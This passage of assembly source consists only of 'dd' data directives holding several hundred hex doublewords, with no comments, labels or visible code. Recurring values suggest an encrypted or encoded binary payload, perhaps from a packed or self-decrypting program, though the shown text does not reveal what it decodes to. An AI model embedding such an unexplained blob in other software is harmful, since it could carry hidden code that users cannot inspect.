		dd 71662232h, 0E8BA5D17h, 449C709Ah, 0E664D28Bh, 4CAE0B42h
		dd 8363E91Bh, 0FC167B30h, 15664421h, 0C5C4D640h, 8C018436h
		dd 0B42F5538h, 6DF88995h, 46AFB21Ch, 15661589h,	2FC88D32h
		dd 0CD4F4BCDh, 0EA5C8C1Fh, 0FD064A3Dh, 15668838h, 913E64B8h
		dd 0F351B3BDh, 7406537Ch
		dd 0EDCDE96Ch, 156440DBh, 88EBDA32h, 137E1EEEh,	0E0B577CBh
		dd 3633D9BFh, 1A06242Ah, 9F35D985h, 0EA07D1E1h,	1574ADE1h
		dd 0CC9E2232h, 0A8F9479Ch, 0D7B59132h, 790870CAh, 0F248BB21h
		dd 9069D139h, 15668810h, 156641DBh, 4CFD8B32h, 2A8FCE7Fh
		dd 0FC668832h, 1566443Ch, 0FF698C42h, 57F8069Fh, 2B94F375h
		dd 90E5475Eh, 137628A3h, 12ED1E37h, 75668832h, 0A4B6CF54h
		dd 8C8F430Ah, 0FC99EECCh, 1566883Ch, 0C02E39F4h, 615699Eh
		dd 6CD6E8E4h, 88EB7EFBh, 137E61AEh, 0EDB5DDCAh,	17E71E52h
		dd 9E668832h, 0D56D25E2h, 156CA73Dh, 0FC931132h, 15668800h
		dd 744FF552h, 1537915Ah, 316A9832h, 15668C8Bh, 4CAC4532h
		dd 15662ADBh, 4516332h,	1A92EDAFh, 1455AD62h, 99692232h
		dd 15661134h, 75AD0352h, 88EB2553h, 1373B803h, 156CF852h
		dd 701B8832h, 37DAA4A6h, 0A85506CBh, 1AB5EE53h,	1566D8B1h
		dd 1DE24B32h, 75662232h, 15669F3Dh, 1A078832h, 156645B7h
		dd 0A0EDDB32h, 13761BA3h, 1BE68752h, 0FD664432h, 1566223Ah
		dd 87379AA0h, 7EC76DE3h, 1572AD6Ch, 0FDC22232h,	1E8586C3h
		dd 1AA9DB41h, 902C8D37h, 9F49D805h, 0FC07D610h,	1566A33Ch
		dd 84EBCFC7h, 0FC603238h, 15661137h, 87B9DEDCh,	1568AD8Dh
		dd 99EC2232h, 7DD8F810h, 728CE1FAh, 2F331516h, 1FF797BBh
		dd 188F1722h, 0F0668832h, 5AEEAB50h, 8721218Eh,	6FD16F85h
		dd 48F149B3h, 0FCE75592h, 7C536387h, 0D4E7E01Bh, 7C53C987h
		dd 48F1ADB3h, 108F3392h, 0C5661132h, 0D9085C90h, 316ABB63h
		dd 0FCB7D56Bh, 15661122h, 7DC610B9h, 5BB648F8h,	9C29D936h
		dd 5114FFB6h, 1ECC66B3h, 0DB4F7134h, 1ECC9961h,	0CB672434h
		dd 0B1957069h, 15664ADBh, 0D1B3F232h, 3B5ADCFFh, 0F89B631Eh
		dd 0FCE5534Ah, 0EA99DF2Eh, 156D9C3Dh, 138F8832h, 6E664432h
		dd 0B48CB9F6h, 28FB9CB0h, 1A609E83h, 156665B4h,	18F4232h
		dd 0EA661132h, 2D31C71Bh, 2E375694h, 0A936D13Eh, 4FB77080h
		dd 1A076A34h, 156644BAh, 0EA9E4332h, 9C33E9E1h,	9E8E01CFh
		dd 0D1E5601Eh, 9E9A4236h, 904D70C3h, 13768217h,	2E04BCEh
		dd 75662232h, 188E7052h, 0A668832h, 8F8DE76Ch, 4B957022h
		dd 0CE7B3F1Dh, 90EFE96Dh, 13766DC3h, 30E3A9CEh,	75600138h
		dd 7D078882h, 15663245h, 75421EBBh, 9C3670CAh, 15628DD2h
		dd 114B4432h, 92662232h, 9C3A3536h, 9469AC36h, 1566443Ah
		dd 1564A03Dh, 74061132h, 0A13B05BFh, 46064224h,	22E95E8Ch
		dd 0EA07485Fh, 78FE8E3h, 0E7664432h, 55F22762h,	7CC3708Ch
		dd 0E51ADE3Fh, 7E39071Fh, 9E07D702h, 57468B7h, 1A06E834h
		dd 156644BEh, 20DE4432h, 0CFE770CEh, 3A331479h,	0F4EF1553h
		dd 1562E3B3h, 0FCE51132h, 316A0F36h, 3162CD6Eh,	7E004ACBh
		dd 29EF1132h, 90ED7416h, 13764E17h, 56AF4ACBh, 11EF1132h
		dd 15686116h, 8594432h,	5768FD90h, 79F372E5h, 999E6212h
		dd 0A07EC9BFh, 97692424h, 15661135h, 59523752h,	0EA0752B5h
		dd 1B8F42E3h, 1E661132h, 0E985B2D3h, 90D5720Ch,	0BF4EB3F4h
		dd 156AF86Bh, 76C18832h, 57D2AFD7h, 0AEF17B47h,	9607E179h
		dd 9EF8CDEh, 9CA5CD16h,	0AA0679E8h, 0DB53A71h, 0AD613F52h
		dd 33AA0BA0h, 9E364353h, 0D1E7353Eh, 15668836h,	156EC73Dh
		dd 94062232h, 0F2A2A5E5h, 984DE91Bh, 1376564Bh,	13E42D52h
		dd 1A661132h, 156688B1h, 7498CE32h, 3BC39FB1h, 1A661722h
		dd 15662BB6h, 0DFE72432h, 77408CEAh, 74B89A54h,	3CCB0DB9h
		dd 48F4222h, 25662232h,	4B64F502h, 0B38ECB9Ah, 206D89F0h
		dd 2FD2017Dh, 37DD7752h, 0DAE7EEB0h, 3E078C62h,	54887B7h
		dd 0A8DC7134h, 9E35113Dh, 0D45D25E1h, 153CA43Dh, 0FC061132h
		dd 15668826h, 728F2E0h,	90FFAA7Bh, 0B133D276h, 28D6F58Ch
		dd 2B3715Bh, 74A99D3Dh,	3CB394B9h, 16938E22h, 548E1B7h
		dd 90EFDE34h, 137630A3h, 15669BDBh, 313E0432h, 5B4B3F52h
		dd 867DA04Dh, 0A8AF161Eh, 0F69CC728h, 1567C8DBh, 1560F832h
		dd 5BA48832h, 0DAFC1C94h, 9484AB60h, 156615F0h,	118C0932h
		dd 92664432h, 9C3A0626h, 969A353Eh, 19EF8CDEh, 1A061C16h
		dd 1C8EF88Dh, 3B661132h, 1826D196h, 6063EF5h, 156636DAh
		dd 8A0A8B32h, 0DDE8AF41h, 999390EDh, 80E96A85h,	17A33DC2h
		dd 7439D607h, 0EA99FD63h, 0DD67DDCDh, 14E11E6Bh, 0E0668832h
		dd 9E0E1764h, 4E66D374h, 0FEE7C2C5h, 0C57A26BBh, 943D9ABBh
		dd 3B3454DCh, 0DBE75F7Eh, 2F8DFB2Ah, 63F48AB3h,	0D3E7048Eh
		dd 14660133h, 1A38783Bh, 156648B2h, 0AE004232h,	95696CFFh
		dd 15668832h, 0AB30BD53h, 995E3Bh, 0E3E7C7C5h, 5F7AA1BCh
		dd 93A0C574h, 3C39C167h, 1F8F4FC2h, 59668832h, 7784651Eh
		dd 949FE24h, 0B8E398CEh, 7560981Bh, 12C0A7B3h, 0FC072CF7h
		dd 1566113Ch, 0E829A717h, 5E69B15Bh, 7CFA33E6h,	9067A164h
		dd 13768E73h, 15664BDBh, 9C733B32h, 52AE97F0h, 57413F33h
		dd 8E10BA84h, 3BC3A7F5h, 15661722h, 7F9E8832h, 156AAD72h
		dd 5902232h, 7A7B4B4Ch,	0F5654F3Eh, 150ED0E7h, 0ED662222h
		dd 1544BE5Ah, 316A0132h, 75662EC7h, 7898D5B3h, 0FC310279h
		dd 1566883Ah, 0C340C6D4h, 846E0884h, 78F706Dh, 0FC668832h
		dd 17DCAC75h, 3C9136D6h, 7BE5FF05h, 0EDEE5AF3h,	70F3BBE8h
		dd 0FC60322Eh, 1566113Bh, 0ED48D8E7h, 0DB2F2422h, 3CF3DDE0h
		dd 0E9600133h, 3CB30DBBh, 95064222h, 0FD0649E6h, 15661121h
		dd 225B96E4h, 23563610h, 14B5247Fh, 0D6914FB9h,	4C101EACh
		dd 1566C13Dh, 74072232h, 34F794BBh, 98698E22h, 15664429h
		dd 1573A73Dh, 58F1132h,	6E668832h, 6755E794h, 520EB1E5h
		dd 0D6BE5D53h, 9EF72E3Bh, 9C35603Eh, 11A5A3D1h,	96661132h
		dd 9E18CF1h, 0EA9E1816h, 547B387h, 14E31E34h, 0E0668832h
		dd 71FF1CDh, 94692422h,	15661134h, 0A2697452h, 730625F1h
		dd 9569D9B9h, 15661132h, 3882E053h, 29EF4432h, 0C3E74216h
		dd 130256CAh, 15668FDBh, 0B5316332h, 0A9A1FDC3h, 30D3EE53h
		dd 0FC609838h, 1566443Fh, 4EDC918Fh, 8192DD59h,	0EDF406A3h
		dd 0C8E3C9D6h, 0E96034FCh, 75B6EECBh, 0D4EDEE52h, 74A6FB3Dh
		dd 0B0EB2353h, 7560011Ch, 9D950954h, 8182C467h,	1572CB53h
		dd 11511132h, 7CC6D760h, 0E0184140h, 1B31474Ch,	6F6C3578h
		dd 0A8ED2EE7h, 137665A3h, 0A0EDDBCAh, 1376034Bh, 156685DBh
		dd 1363CE32h, 0CCEA3569h, 0F6A13DB8h, 0B19594C9h, 1567CA3Dh
		dd 9E9A2232h, 5690087h,	0FBE7E834h, 52BF6AC5h, 1564AC3Dh
		dd 74061132h, 459E2553h, 0C39955Ah, 0CD917A0Bh,	0EB2F293Fh
		dd 80DDDB74h, 564CBA4Ah, 0E6E7F1C5h, 0F966809Ah, 9C3D5033h
		dd 753EB874h, 0D691CDB3h, 58F04C8h, 3F668832h, 91E68DB9h
		dd 6A78EA45h, 0B33A60F3h, 744EA33Ch, 0EC6384F3h, 153BF85Ah
		dd 317A9832h, 6BBF7A89h, 4EBE4572h, 0DFD9DB52h,	744155A2h
		dd 0AB30D31h, 0EC9F4222h, 34F7AFB9h, 97691722h,	15668835h
		dd 1567CF3Dh, 449E2232h, 115AF64h, 6167A9E0h, 9A384016h
		dd 664EA332h, 1A47C326h, 15669ABCh, 156BAD32h, 36D2232h
		dd 6219F539h, 3A1A4B6Fh, 0B876740Eh, 156AA83Dh,	9A691132h
		dd 15668834h, 1566C93Dh, 0A8332232h, 15661132h,	9E9AE6BBh
		dd 0D1E5601Eh, 1DE62D36h, 1A661132h, 15668ABAh,	9C072432h
		dd 5693387h, 1AE81E34h
		dd 0FC668832h, 15664438h, 4B92ECE1h, 0CEF207D8h, 68F5D50h
		dd 0B664432h, 2A5E1487h, 0C3593DF0h, 0A433B6BFh, 0A951F323h
		dd 0EDE51419h, 9EE31ECDh, 1A668832h, 156645B2h,	2BE7DB32h
		dd 0C8BBCCEFh, 151E0D3Dh, 94694432h, 15662233h,	0AA3141C7h
		dd 3E9CF006h, 0EF1E708Ah, 4A9E0B19h, 1A3E17BBh,	15668FB7h
		dd 14E44B32h, 0ED662232h, 152D745Ah, 314A0132h,	1566408Fh
		dd 48882332h, 1567993Dh, 9C9F8832h, 5695587h, 4E12D34h
		dd 0FC661132h, 1566883Eh, 8880102Eh, 9CBC366h, 22AB7C8h
		dd 0EAB5ABDBh, 1572ADCDh, 512D2232h, 8FA00D0Bh,	1115A65Fh
		dd 8CDC1D3Ch, 0F74338D5h, 0D5A71BCCh, 90657131h, 13765BE7h
		dd 156BA53Dh, 1D8F1132h, 0F9668832h, 0D3762AE2h, 96F2F884h
		dd 549548Fh, 91698934h,	156647A6h, 157CAF3Dh, 0A0061132h
		dd 15776186h, 53324432h, 2CA63E1h, 7A6EA9D5h, 4EC18733h
		dd 748BDBF4h, 32DC4452h, 74CFA4DDh, 0BFCCB6B3h,	9069EE98h
		dd 1566229Ch, 1576F952h, 6528832h, 8B2751B3h, 5BF4BEF6h
		dd 52E0BA44h, 9A69C9CDh, 15664432h, 0E4E77169h,	6AFA8D9Bh
		dd 0AA31E969h, 15664436h, 3F5DE4B3h, 0EB671E98h, 3F5D66B3h
		dd 1A394B98h, 156625BEh, 14EE1E32h, 0E9668832h,	94D81260h
		dd 0AF75056Ch, 0F9BEB04Dh, 9C387A33h, 753CB864h, 0CDEDF4B9h
		dd 249E2053h, 759EB9F5h, 0A1361653h, 4D80AA34h,	9564FFF2h
		dd 0FBA61EC4h, 288C43Ah, 1A3CD2BAh, 156610BCh, 408F7D32h
		dd 75664432h, 1563A23Dh, 0FBDD1132h, 1A1018DEh,	156646BBh
		dd 74074232h, 156E993Dh, 1A068832h, 0E2E68485h,	0ED57438Fh
		dd 0ED57D603h, 15610F3Dh, 96694432h, 15662233h,	152C79CEh
		dd 9EF8832h, 9D8EF716h,	198F79EAh, 93661132h, 9ED14DB9h
		dd 37B92236h, 0E07E0278h, 155DFF5Ah, 31620132h,	1AB7CF52h
		dd 156620BDh, 74A49A32h, 9F335B1h, 1A674222h, 1567A0B6h
		dd 12E91E32h, 1A668832h, 156645B1h, 0F9E5DE32h,	317A9836h
		dd 74560689h, 0C514FC04h, 0CD67EBACh, 0A8E5ED69h, 13712D64h
		dd 37E24B32h, 0E9662232h, 0F1238CBFh, 108F8E24h, 0A1664432h
		dd 4663FB43h, 0EC06C2CDh, 1560063Dh, 90694432h,	15662232h
		dd 85599153h, 15330C3Dh, 90694432h, 1566223Ah, 15649E3Dh
		dd 74068832h, 1563FE60h, 0C2672232h, 944205B9h,	15668CF6h
		dd 1569AD32h, 35BC2232h, 1BA5F63Ah, 0F3C3D46Ch,	0E3EABABEh
		dd 14E12DCDh, 0E9661132h, 15674FDBh, 1577AD32h,	0BC8E2232h
		dd 0C7D9651h, 7B4A0BC6h, 63DAB006h, 960EC9ABh, 976941CAh
		dd 156688F9h, 0D3E72252h, 48F88CAh, 94661132h, 0BDF2E5CAh
		dd 994C561Bh, 9517FF70h, 0C5A9DFAEh, 6E28753h, 0FC664432h
		dd 1566223Ch, 39AF8EB0h, 2D899A3Eh, 0DED6FFBCh,	0A7345716h
		dd 3D88A15Eh, 0D06AD2E2h, 0DD98E106h, 1B8FF31Eh, 0BD661132h
		dd 4E417EF6h, 0E2D5AC74h, 72EAE7CCh, 759ABB14h,	15668FDBh
		dd 0B2ECC632h, 0FEA5101Eh, 156617DBh, 0FD91C532h, 742BD1B8h
		dd 404226B9h, 0D0E7F4BBh, 15668836h, 926281B1h,	0ED3A061Eh
		dd 14E71E98h, 0EC668832h, 1566E8DBh, 11EE2D32h,	75661132h
		dd 75074BB9h, 15EC4B52h, 0FC662232h, 15661135h,	0B1B42D62h
		dd 7457387Fh, 156633DBh, 0F33CA032h, 71B4EDB9h,	4CB50D8h
		dd 1A3E43A9h, 0EA07F8C6h, 943EAC06h, 156640F6h,	1CE32D32h
		dd 75661132h, 9400D762h, 744CA7E4h, 10E12D98h, 75661132h
		dd 7439DACEh, 0FC993BB2h, 1521A73Dh, 73061132h,	0FFB56B3h
		dd 58FBD68Ah, 0A8E5430Ch, 1371B464h, 4E28732h, 0E0664432h
		dd 0F653BFBFh, 73061724h, 0AFCC60B3h, 0E9B5BB53h, 9DA5AA61h
		dd 9ED156Dh, 11A20916h,	1A664432h, 15662AB4h, 17E01E32h
		dd 75668832h, 84E3CF53h, 1A603213h, 156610BFh, 0AA317D32h
		dd 20044477h, 0E26EC5F3h, 0B29190EDh, 943BCD44h, 441DDDD5h
		dd 5B91A332h, 1429626Eh, 0ED4FD7CAh, 76738B1Fh,	1A34427Dh
		dd 156611B7h, 9E00D332h, 0AC3725CCh, 15662236h,	5A2B6F37h
		dd 38AEA115h, 3229094Ch, 156ACB6Bh, 56661132h, 17591F2h
		dd 6E27ACE6h, 0E0CD4716h, 156FF89Fh, 3C7B8832h,	0EE272C0Fh
		dd 441A23D8h, 3734918Bh, 0E7D9DF2Ah, 52326770h,	7A36D5B3h
		dd 0EC6F32FCh, 94BF7F6Dh, 0FA19E7F3h, 0E928AB4Dh, 9400716Bh
		dd 0FDB64AD5h, 15664423h, 0FD56A699h, 0FCE5CE3Fh, 812485AFh
		dd 17446365h, 7438DB0Eh, 0EA9D37DBh, 0F2E7E8CDh, 5559C24Fh
		dd 9C077865h, 5690087h,	15766134h, 0E6D4432h, 878B3D6Fh
		dd 3D41EC67h, 17301362h, 7306585Ah, 9FFB4C8Bh, 9C3570DAh
		dd 11A509D1h, 96664432h, 9E126D9h, 1EF4D16h, 7D07E816h
		dd 1566C432h, 74B1A952h, 188F1158h, 75668832h, 63EF45D3h
		dd 9ADBFE3Eh, 29BEAE82h, 26233DCDh, 0EA9A4222h,	54997A7h
		dd 0FBE77134h, 4B354AEFh, 0F2A6C554h, 1ED438Eh,	0F3EF4716h
		dd 15624EB3h, 0D3E74432h, 15662236h, 494225B5h,	15686152h
		dd 4A2B4432h, 80C387C7h, 944C486Ch, 0A98312FCh,	1565C93Dh
		dd 0FCE62232h, 98ED7073h, 1376A733h, 0A5DB11CBh, 9438931Ah
		dd 277763D7h, 0BFA30920h, 40568C0Ch, 484236C5h,	2BBDD4B3h
		dd 3CEFCACAh, 1575AD6Fh, 7B612232h, 0C30E7DAFh,	8DD1D482h
		dd 0E0E1691Eh, 1034B8EFh, 11D9462Ch, 94668832h,	0A93FE3F3h
		dd 949F234Ah, 0A93FB6DBh, 9C93D74Ah, 54945BFh, 0AD8FDB34h
		dd 0FC99EEF4h, 15668820h, 5AE74930h, 32438Dh, 6B67614h
		dd 8AFBFB4Fh, 128F4C48h, 78662232h, 0C4DE0754h,	9C8F5001h
		dd 0E066441Bh, 1574CB52h, 0ACBC1132h, 0F65C6939h, 0A6507ACEh
		dd 3DF7E4B7h, 8B784898h, 14EB03CEh, 0E060541Dh,	0EC3F13CDh
		dd 0B0349CBBh, 1A068E25h, 156646BBh, 74ACA932h,	412829B3h
		dd 9069C476h, 156644A4h, 6DE744CAh, 1A485D36h, 156601B7h
		dd 1A8E2432h, 94662232h, 94E395ACh, 21723BA5h, 7B0140D8h
		dd 1A39E50Fh, 156614B2h, 0DFE7EE32h, 0FC07D4F6h, 1566223Ah
		dd 9EB09471h, 73371C7h,	15488E5Ah, 3162AB32h, 274215B3h
		dd 4B48F93Eh, 1954AAB3h, 0A5060C43h, 0AA317021h, 15668834h
		dd 607DAAB3h, 0EB676FA0h, 607DD7B3h, 7539C5A0h,	156649DBh
		dd 60DBD032h, 2FFCA418h, 0CA8BD25Ch, 0EBEC7E91h, 6CE3A953h
		dd 1A60013Dh, 156689B7h, 7406BC32h, 1562FDDBh, 0F9E5E932h
		dd 31620136h, 894268B3h, 4B56166Dh, 4AFAD7B3h, 459EB806h
		dd 0D4268B3h, 4F6A9D32h, 157EAA61h, 0CF67848Dh,	90692469h
		dd 15662237h, 3AA19054h, 108FE8F9h, 0C7664432h,	0CFF4B283h
		dd 74077052h, 0D3D98752h, 0EB4B9AB3h, 24076F18h, 976971FBh
		dd 15668834h, 4646ABB3h, 0AB060F56h, 7FCF1092h,	0CAFF6FB3h
		dd 740708C8h, 156ACB9Eh, 2F171132h, 4B1F8721h, 25809567h
		dd 155A95A8h, 14C5953Dh, 29938832h, 0C8E24B1Fh,	0FC99DDCDh
		dd 15661139h, 286BD00h,	92A194C9h, 29FE58BDh, 17E21E1Ch
		dd 0EC668833h, 9769740Eh, 15662727h, 0FCFFA652h, 15668822h
		dd 0DF94EB89h, 727639Ch, 27681EC0h, 0ADDE7F2Fh,	1A5F7853h
		dd 0EA99B9B4h, 0E1EC71CDh, 36E3754h, 1A277853h,	1562C6B0h
		dd 1EE91E32h, 75668832h, 0BB3B8FB3h, 0A2694779h, 4F5A70E2h
		dd 0EA140E3Dh, 7506BBCDh, 3D82DC8Dh, 1575F80Dh,	3CF68832h
		dd 332AE3D8h, 0EBB445FAh, 83EF7048h, 0F7AD4ECDh, 0AE0025C6h
		dd 290792FCh, 50E21E6Dh
		dd 0FC9977CDh, 1566443Bh, 4A91387Bh, 75AE08Dh, 9E00E8CDh
		dd 2907B8E5h, 97E42D53h, 0FC661136h, 1566883Ch,	549EF132h
		dd 0ACB8059h, 8558DF0Fh, 6F5A898Bh, 0EA68C23Dh,	9869DDCDh
		dd 15661129h, 0FCA40352h, 15664420h, 0E730296Ah, 0DF36E0B9h
		dd 216FF9B6h, 0D6F4BFFBh, 0FC07B139h, 15661573h, 15669BDBh
		dd 3D02CC32h, 0F3A37A35h, 7A17A39Eh, 8795EEC2h,	4A8F6159h
		dd 1561AC3Dh, 91691132h, 15668833h, 0BED913C7h,	9463B96Bh
		dd 8E3FBBC5h, 4A9C8937h, 15664FDBh, 6BAC8032h, 6E6A525Eh
		dd 4CDDF3h, 9169B60Bh, 156621C7h, 1567983Dh, 469E8832h
		dd 0EA15EB89h, 0D1A5A327h, 9407223Ah, 525C9ED9h, 1D858511h
		dd 946EC1F3h, 0B799EEC1h, 4EBC898Fh, 0CDD14B52h, 9648FAB3h
		dd 45072E57h, 1566898Ah, 4DA74532h, 0D41B9852h,	9E0025E4h
		dd 448FE9E4h, 0E099BBCCh, 1561A03Dh, 9C691132h,	15668833h
		dd 1AAFC1CEh, 1565B6B6h, 0A0EBE932h, 13768F6Fh,	1561C63Dh
		dd 73062232h, 27A9C1B3h, 19EDDA53h, 11A2C516h, 0FC662232h
		dd 15661135h, 154DEE6Ah, 96544D75h, 21EF26DEh, 9CB09816h
		dd 469FD6C5h, 0A4377281h, 4CAD12EFh, 0CE90D2CCh, 9D7C4BB2h
		dd 68F1FEAh, 9B662232h,	5BBA36D3h, 69C33A6Ah, 87631A1Bh
		dd 0FB181E4Fh, 60C80A36h, 976970CFh, 15664433h,	0F6A7A3C7h
		dd 3C4EC36Ch, 0F6DBDDCBh, 3C4E966Ch, 1F8F7FDBh,	0B4661132h
		dd 2054DE79h, 0C59D53D2h, 15664AF5h, 194F1132h,	316A0316h
		dd 756280B1h, 2F89B54h,	0F3899053h, 3C6AB236h, 0F3DC16FDh
		dd 146A1836h, 9F694BE5h, 1566883Fh, 15664CDBh, 16BBD632h
		dd 21A03F04h, 2491B9DEh, 0FC9175CCh, 1566223Ah,	0A4F9AB9Dh
		dd 0BE565589h, 9269E0C1h, 15662220h, 15661CDBh,	26E49D32h
		dd 0E123EF1h, 7B05B846h, 0A23516D3h, 0D5B97EDAh, 0F2A647DDh
		dd 1591A23Ah, 9E996EBAh, 0D1E5AC2Eh, 989FBC36h,	5617FA7h
		dd 90EDE434h, 13768F47h, 73BBCE52h, 2619F1B3h, 1AA69453h
		dd 15661DB7h, 58E2432h,	0A5662232h, 0D560B999h,	0E9A7F8B0h
		dd 51E26B26h, 73802ED2h, 4DF55288h, 0F0E34E53h,	52605411h
		dd 156629DBh, 65FF3C32h, 70A0998Ch, 3B034B1Dh, 8FC1F05Ah
		dd 2EB1EE6h, 0FC668832h, 15664420h, 0C2663902h,	0D4905763h
		dd 435A9D38h, 0AB16DD1Fh, 0A099E423h, 13760C77h, 11EC8752h
		dd 73664432h, 738CD289h, 7754D0B3h, 9FE30553h, 1A6057B7h
		dd 156623BAh, 0C599E932h, 15756152h, 3EE94432h,	6709C1A9h
		dd 0ABFA81E9h, 2525B897h, 53BF6423h, 520E43FCh,	9C661160h
		dd 7406AC26h, 1A0694CDh, 0AA69D58Dh, 0D5E370C3h, 15B00D3Dh
		dd 92694432h, 15662233h, 0C8E39AC7h, 75609827h,	0BA91C554h
		dd 746391DBh, 9069D1B7h, 15668842h, 0F0E382CBh,	59603211h
		dd 15661EDBh, 0C6BA3232h, 99ACAC05h, 0CC28FDD0h, 48913986h
		dd 0CF7A615Ah, 1CE54BEBh, 75662232h, 750CAB54h,	74903F3Dh
		dd 823F1CDh, 93692422h,	15661133h, 9FE305C7h, 756057B7h
		dd 156625DAh, 6F8DD232h, 363E5DFEh, 529CABB3h, 1A3F0775h
		dd 156610B5h, 0EA077D32h, 156CADE2h, 0BC262232h, 18514F79h
		dd 0F46781D6h, 9487CD63h, 156626F3h, 118F9032h,	92668832h
		dd 9C3A603Eh, 0EA930626h, 1DE11EE2h, 1A668832h,	156646B2h
		dd 90074232h, 0CE31EF2h, 75668832h, 6A78FD54h, 1595CB53h
		dd 1C8F1132h, 0D9668832h, 0A946CAFDh, 0B9D58DD0h, 0B03494BBh
		dd 1D8F8E25h, 97664432h, 303CD4B3h, 467F1910h, 0D6E76BBBh
		dd 15664436h, 9262C9B1h, 9C3A352Eh, 198FAC36h, 65664432h
		dd 0A3F8C10Eh, 0C9E6A0D0h, 404207E3h, 0D0E7A1BBh, 15662236h
		dd 9262FCB1h, 9C3AAC1Eh, 138F6006h, 90662232h, 8F64991Eh
		dd 6CE30593h, 756057ACh, 156631DAh, 0C50B0D32h,	0EBC36C6Bh
		dd 0C157E559h, 6E529105h, 32E09A5Bh, 0B2C0318Bh, 90691B5Fh
		dd 15662230h, 0EA07E8B9h, 0AF06E8E2h, 56BD1D81h, 68F7553h
		dd 76661132h, 2CBAE0F0h, 7F34F5F6h, 0CF364311h,	3CFC2B5Ch
		dd 743F20EEh, 1AA64FCAh, 15660DB7h, 1572F832h, 3DA88832h
		dd 0AC2BFF73h, 19F70096h, 8A702673h, 0B757EF4Fh, 38F5159h
		dd 1A662232h, 15661AB9h, 0C4E6E832h, 15E34B91h,	74662232h
		dd 94255BBh, 0D69FE9CAh, 156654DBh, 0C32F7A32h,	0DFB63995h
		dd 1EFBCF36h, 2C9847D7h, 0E906DA34h, 0B0349CB9h, 1A938E25h
		dd 156648B6h, 1561CB32h, 0ACC81132h, 999189B5h,	7C522C0Bh
		dd 11EF2232h, 1577F816h, 0C9C68832h, 845687C3h,	66C2DAE0h
		dd 0C8719A8h, 4731FEF0h, 0C5EF8EBBh, 944236B9h,	156615F6h
		dd 15776132h, 1E44432h,	7D43AA77h, 573EAFEBh, 0F060BF03h
		dd 4733B322h, 4A999C64h, 0DBE709B3h, 751BB93Bh,	335482B3h
		dd 0FBE76543h, 6BD13549h, 941C66B3h, 0E7EF0585h, 16A4236Ch
		dd 93694B30h, 1566883Bh, 0E2E72252h, 74068254h,	9DDF4053h
		dd 14668832h, 4F57BBF3h, 9E00426Bh, 3CBC90FCh, 74211A35h
		dd 1963D1BBh, 969F2422h, 9EF15DEh, 159E3316h, 0CD674432h
		dd 0AC37DE69h, 1566113Eh, 24994933h, 97691D68h,	1566223Bh
		dd 73969A52h, 6C0349B3h, 12E94B53h, 75662232h, 9E007052h
		dd 80EFE9E2h, 1376573Bh, 3152DDCEh, 11A2906Ah, 0FC668832h
		dd 1566443Ch, 10BD6FAFh, 9DE12B3Fh, 9CA65B25h, 619972F5h
		dd 11ED0616h, 11A29016h, 75668832h, 380786B8h, 178E3394h
		dd 4A1C731Fh, 10AEA15Dh, 7A393E50h, 0FD778437h,	0CAED7130h
		dd 2E0756B8h, 5754DB7h,	51E42D34h, 0E9661132h, 19630D09h
		dd 96694222h, 15662205h, 15661DDBh, 0E9ADE032h,	0ED2EBEF4h
		dd 0B7B69228h, 0A00670E6h, 0C7E7EEB5h, 0D707BD24h, 18F2236h
		dd 0E5661132h, 0D2D6EF74h, 96D89615h, 53F2510Ch, 3E6D8A21h
		dd 74A83145h, 156ECF3Dh, 95692232h, 15661130h, 4431E952h
		dd 0D172795Ah, 0FCE77B30h, 73EE21DCh, 0E4E761E3h, 5B7BB595h
		dd 9C3FEDBBh, 4A62354Eh, 15669CDBh, 873B132h, 2A9B3F82h
		dd 0D3B9FB03h, 6C55A819h, 682C55C8h, 3122E596h,	584E1736h
		dd 31227724h, 3112C536h, 24ADE36h, 310A903Fh, 6E164336h
		dd 310AC52Ch, 0C817C736h, 3132E660h, 31327F36h,	3112C536h
		dd 14446936h, 0CEB1E98h, 0FC668832h, 15664426h,	3AC6D7F2h
		dd 0CD3DC022h, 5FA46DDAh, 4D4CE2F2h, 6466873Ch,	172B978Ah
		dd 59DDDB69h, 24099748h, 0D04B79EAh, 1A52C005h,	15668EB2h
		dd 0ACD72432h, 9807ECB9h, 52894BFh, 15616134h, 0FDA34432h
		dd 0EC36F47Ah, 0E087EE68h, 0AE357052h, 15664432h, 0AF34D133h
		dd 15661132h, 17EC5233h, 29931F68h, 7BE22DDBh, 0FC661133h
		dd 15668822h, 3C0FBD23h, 751371B3h, 0FD7146B6h,	1911198h
		dd 9169AC0Eh, 156623A8h, 78B09152h, 1A69B453h, 156637B6h
		dd 156ACB32h, 74281132h, 0F8DD2927h, 4E5ACC44h,	0D85ADCB7h
		dd 14B6953Dh, 0EC068832h, 156641DBh, 33AE332h, 29077314h
		dd 0E7E287D9h, 75664433h, 0ACBFA354h, 0EAD11EB2h, 188FE953h
		dd 85664432h, 0AB9E7E51h, 0E508615Bh, 0FAF0315Dh, 0DFE724F1h
		dd 418B3E75h, 156617DAh, 2A026532h, 1A11876Ch, 743FEC85h
		dd 156C993Dh, 108F8832h, 8A664432h, 0EBD3F4E5h,	14D94660h
		dd 9C668832h, 0E7671BC8h, 0EC3C38B8h, 83D641CEh, 0EB053B61h
		dd 0EBB5B2F1h, 6495A2F9h, 213DC93Ah, 21E38C31h,	35217004h
		dd 58F7AF1h, 74661132h
		dd 0A8EEC5CAh, 0A16B43B1h, 2EC58C4Eh, 95923034h, 906908C9h
		dd 0EA99BB4Bh, 1561A63Dh, 1A061132h, 4A344385h,	9ED1253h
		dd 11A2A116h, 156605DBh, 4A4FA732h, 16523F83h, 4C76C50Dh
		dd 1935D396h, 0F2D095D9h, 13DF1563h, 14662232h,	316A9AF9h
		dd 15624CB3h, 0FC064432h, 15662226h, 4990BAF4h,	8C5F33EFh
		dd 2E60A1D6h, 0EB112869h, 93A7CB77h, 92C56B3h, 7D0723FEh
		dd 15661944h, 0AC421DBBh, 15668830h, 0C65B533h,	0B88FDA6Bh
		dd 0FC661132h, 1566883Bh, 85685901h, 330EFEDBh,	1410EEAEh
		dd 944294B9h, 156640F6h, 1A064232h, 749ADE85h, 0EE9D0B53h
		dd 15B9C03Dh, 99692232h, 15661120h, 156685DBh, 0D565A332h
		dd 14784EBh, 0F52120C0h, 1A8F121Bh, 93664432h, 73832612h
		dd 7D109C2Ch, 2EED4402h, 9E303BDCh, 0D1E5062Eh,	14EC1E36h
		dd 0E0668832h, 1567FD63h, 0FCE72232h, 676C5553h, 0D4E77933h
		dd 676C0053h, 753F3B31h, 9D69ED52h, 15668832h, 1E8F1753h
		dd 0C5662232h, 2207714Ah, 9C6A5184h, 743E1799h,	15639A62h
		dd 0D6671132h, 96428CB9h, 0A50640F6h, 7489A843h, 0EA9841DBh
